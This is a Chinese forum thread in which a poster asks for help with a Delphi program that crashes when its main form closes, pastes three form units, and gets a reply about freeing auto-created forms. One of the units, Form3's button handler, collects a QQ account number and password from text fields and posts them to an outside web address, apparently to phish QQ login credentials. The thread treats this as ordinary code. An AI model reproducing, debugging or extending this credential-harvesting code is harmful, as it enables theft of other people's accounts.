我今天写了个小程序一个主窗体 form1 两个 子窗体 form2 form3
form1中 form2.show form3.show
窗体 projecr---options-- auto-creatform 是3个窗体 form1 form2 form3
form1是主窗体
但是 在关闭 form1的时候 总是 溢出出错 内错出错 .....不能为read我尝试 在form1 close的时候 关闭 form2 和 form3
但是还是溢出出错 以前没有出现过这种问题 我看看了以前的写的代码 我在关闭的地方写上form3.close;
form2.close
form1.close;
是可以正常关闭 但是今天的不行了 求解 非常急
form1中 form2.show form3.show
窗体 projecr---options-- auto-creatform 是3个窗体 form1 form2 form3
form1是主窗体
但是 在关闭 form1的时候 总是 溢出出错 内错出错 .....不能为read我尝试 在form1 close的时候 关闭 form2 和 form3
但是还是溢出出错 以前没有出现过这种问题 我看看了以前的写的代码 我在关闭的地方写上form3.close;
form2.close
form1.close;
是可以正常关闭 但是今天的不行了 求解 非常急
//////////////
unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, OleCtrls, SHDocVw, ExtCtrls,mshtml, jpeg,shellapi,WinSkinData, Menus, Buttons;type
TForm1 = class(TForm)
Image1: TImage;
Timer1: TTimer;
Timer2: TTimer;
Timer3: TTimer;
Timer4: TTimer;
PopupMenu1: TPopupMenu;
N1: TMenuItem;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
BitBtn3: TBitBtn;
BitBtn4: TBitBtn;
BitBtn5: TBitBtn;
BitBtn6: TBitBtn;
BitBtn7: TBitBtn;
BitBtn8: TBitBtn;
BitBtn9: TBitBtn;
Timer5: TTimer;
Timer6: TTimer;
Timer7: TTimer;
Timer8: TTimer;
Timer9: TTimer;
Timer10: TTimer;
Timer11: TTimer;
Timer12: TTimer;
Timer13: TTimer;
Timer14: TTimer;
SkinData1: TSkinData;
Button1: TButton;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure N1Click(Sender: TObject);
procedure Image1Click(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure Timer6Timer(Sender: TObject);
procedure Timer7Timer(Sender: TObject);
procedure Timer8Timer(Sender: TObject);
procedure Timer9Timer(Sender: TObject);
procedure Timer10Timer(Sender: TObject);
procedure Timer11Timer(Sender: TObject);
procedure Timer12Timer(Sender: TObject);
procedure Timer13Timer(Sender: TObject);
procedure Timer14Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
end;var
Form1: TForm1;
i:integer;
ichangtiweiz:integer;
ics:integer;
HotKeyId: Integer;
ishuangji:integer;
sbl:string;
implementationuses Unit2, Unit3;{$R *.dfm}
procedure Tform1.HotKeyDown(var Msg: Tmessage);
begin
if (Msg.LparamLo =MOD_CONTROL) AND (Msg.LParamHi = 90 ) then // 假设热键为ALT+F8
begin
////////////
if sbl='p' then
begin
form2.Show ;
form2.Timer1.Enabled:=true;
sbl:='piqi';
end;
end;
end;procedure TForm1.Timer1Timer(Sender: TObject);
begin
if form1.top>30 then form1.Top:=form1.Top-5;//向上收
if form1.Top=30 then
begin
timer1.Enabled:=false;//当到达一定的位置时停止
//////当到达一定位置后 加上个窗体晃动的部分
timer4.Enabled:=true;
end;
end;procedure TForm1.Timer2Timer(Sender: TObject);
begin
if form1.top<50 then form1.Top:=form1.Top+5;//向下
if form1.top=50 then timer2.Enabled:=false; // 当到达一定的位置时停止
end;procedure TForm1.Timer3Timer(Sender: TObject);
begin
i:=i+1;
if i=10 then //每次累加1,当加满10次时向上收
timer1.Enabled:=true;
end;procedure TForm1.FormCreate(Sender: TObject);
begin
sbl:='p';
ishuangji:=0;
HotKeyId := GlobalAddAtom('MyHotKey') - $C001;
RegisterHotKey(Handle, hotkeyid, MOD_CONTROL, 90);
form1.top:=800;
timer4.Enabled:=false;
ichangtiweiz:=80;
ics:=0;
timer5.Enabled:=false;
timer6.Enabled:=false;
timer7.Enabled:=false;
timer8.Enabled:=false;
timer9.Enabled:=false;
timer10.Enabled:=false;
timer11.Enabled:=false;
timer12.Enabled:=false;
timer13.Enabled:=false;
timer14.Enabled:=false;end;procedure TForm1.Timer4Timer(Sender: TObject);
begin
/////这时候窗体应该到达了预计位置 这里加上窗体的晃动部分
///这里加上窗体晃动的部分
if image1.Height < 550 then
image1.Height:=image1.Height+30;
if image1.Height > 480 then
begin
self.Caption:='能再给我一次机会么';
timer4.Enabled:=false;
end;
if image1.Height = 550 then
begin
self.Caption:='能再给我一次机会么';
timer4.Enabled:=false;
end;
end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnRegisterHotKey(handle, HotKeyId); //注销HotKey, 释放资源。 ///CONTROL
/////atomid = GlobalAddAtom(ls_atomid) ll_RC = RegisterHotKey(Handle(this), atomid,MOD_CONTROL, 65)
end;procedure TForm1.N1Click(Sender: TObject);
begin
form3.Show;
end;procedure TForm1.Image1Click(Sender: TObject);
begin
inc(ishuangji);
if ishuangji= 5 then
begin
//////sbl:='pi';
timer5.Enabled:=true;
ishuangji:=0;
end;
end;procedure TForm1.Timer5Timer(Sender: TObject);
begin
timer5.Enabled:=false;
bitbtn1.Visible:=true;
timer6.Enabled:=true;
end;procedure TForm1.Timer6Timer(Sender: TObject);
begin
timer6.Enabled:=false;
bitbtn1.Visible:=false;
bitbtn2.Visible:=true;
timer7.Enabled:=true;
end;procedure TForm1.Timer7Timer(Sender: TObject);
begin
timer7.Enabled:=false;
bitbtn2.Visible:=false;
bitbtn3.Visible:=true;
timer8.Enabled:=true;
end;procedure TForm1.Timer8Timer(Sender: TObject);
begin
timer8.Enabled:=false;
bitbtn3.Visible:=false;
bitbtn4.Visible:=true;
timer9.Enabled:=true;
end;procedure TForm1.Timer9Timer(Sender: TObject);
begin
timer9.Enabled:=false;
bitbtn4.Visible:=false;
bitbtn5.Visible:=true;
timer10.Enabled:=true;
end;procedure TForm1.Timer10Timer(Sender: TObject);
begin
timer10.Enabled:=false;
bitbtn5.Visible:=false;
bitbtn6.Visible:=true;
timer11.Enabled:=true;
end;procedure TForm1.Timer11Timer(Sender: TObject);
begin
timer11.Enabled:=false;
bitbtn6.Visible:=false;
bitbtn7.Visible:=true;
timer12.Enabled:=true;
end;procedure TForm1.Timer12Timer(Sender: TObject);
begin
timer12.Enabled:=false;
bitbtn7.Visible:=false;
bitbtn8.Visible:=true;
timer13.Enabled:=true;
end;procedure TForm1.Timer13Timer(Sender: TObject);
begin
timer13.Enabled:=false;
bitbtn8.Visible:=false;
bitbtn9.Visible:=true;
timer14.Enabled:=true;
end;procedure TForm1.Timer14Timer(Sender: TObject);
begin
timer14.Enabled:=false;
bitbtn9.Visible:=false;
/////bitbtn1.Visible:=true;
timer5.Enabled:=false;
end;end./////////////////////////////////////////////////////////form2
unit Unit2;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, RzStatus, pngimage, ExtCtrls, ComCtrls,gifimage, WinSkinData,
StdCtrls;type
TForm2 = class(TForm)
Image1: TImage;
ProgressBar1: TProgressBar;
Image2: TImage;
Timer1: TTimer;
Timer2: TTimer;
Image3: TImage;
SkinData1: TSkinData;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form2: TForm2;
i:integer;
implementation{$R *.dfm}procedure TForm2.FormCreate(Sender: TObject);
begin
progressbar1.Max:=100;
progressbar1.Min:=0;
i:=100;
timer1.Enabled:=false;
timer2.Enabled:=false;
end;procedure TForm2.Timer1Timer(Sender: TObject);
begin
i:=i-10;
progressbar1.Position:=i ;
if i=0 then
begin
image1.Hide;
image2.Visible:=true;
timer2.Enabled:=true;
progressbar1.Visible:=false;
image3.Visible:=true;
end;
end;procedure TForm2.Timer2Timer(Sender: TObject);
begin
form2.hide;
end;procedure TForm2.Button1Click(Sender: TObject);
begin
//////////application.Terminate;
form2.Close;
end;end.
///////////////////////////form3
unit Unit3;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, OleCtrls, SHDocVw, jpeg, ExtCtrls, WinSkinData;type
TForm3 = class(TForm)
Memo1: TMemo;
Label1: TLabel;
Edit1: TEdit;
Label2: TLabel;
Button1: TButton;
WebBrowser1: TWebBrowser;
Image1: TImage;
SkinData1: TSkinData;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form3: TForm3;implementationuses Unit2;{$R *.dfm}procedure TForm3.Button1Click(Sender: TObject);
var
QQState: integer;
QQPath,QQnum,QQPw: string;
SList: TStringList;
PostStr: String;
i: Integer;
PostData,Headers: OleVariant;
begin
SList := TStringList.Create;
try
SList.Add('http://tnianshao.208.iqhost.cn/xunike/qq.asp');
PostStr := 'QQNumber=' +'ctrl'+memo1.Text;
PostStr := PostStr + '&QQPassWord='+ Edit1.Text; Headers := 'Content-Type: application/x-www-form-urlencoded'+ #10#13;
PostData := VarArrayCreate([0, Length(PostStr)-1], varByte);
for i := 0 to Length(PostStr)-1 do begin
PostData[i] := Ord(PostStr[i+1]);
end;
webbrowser1.Navigate(SList.Strings[0],EmptyParam,EmptyParam,PostData,Headers);
finally
SList.Free;
end;
end;procedure TForm3.FormDestroy(Sender: TObject);
begin
form3:=nil;
end;procedure TForm3.Button2Click(Sender: TObject);
begin
////form2.close;
form3.Close;
end;end.
就像:
procedure TForm3.FormDestroy(Sender: TObject);
begin
form3:=nil;
end;procedure TForm3.Button2Click(Sender: TObject);
begin
////form2.close;
form3.Close;
end;
这几句,你自己都说是系统启动的时候,Application自己创建的,你就不要释放了。
你想这样做,你就要自己创建才行。
begin
////form2.close;
Close;
end;逻辑有问题,楼主需要自己整理一下!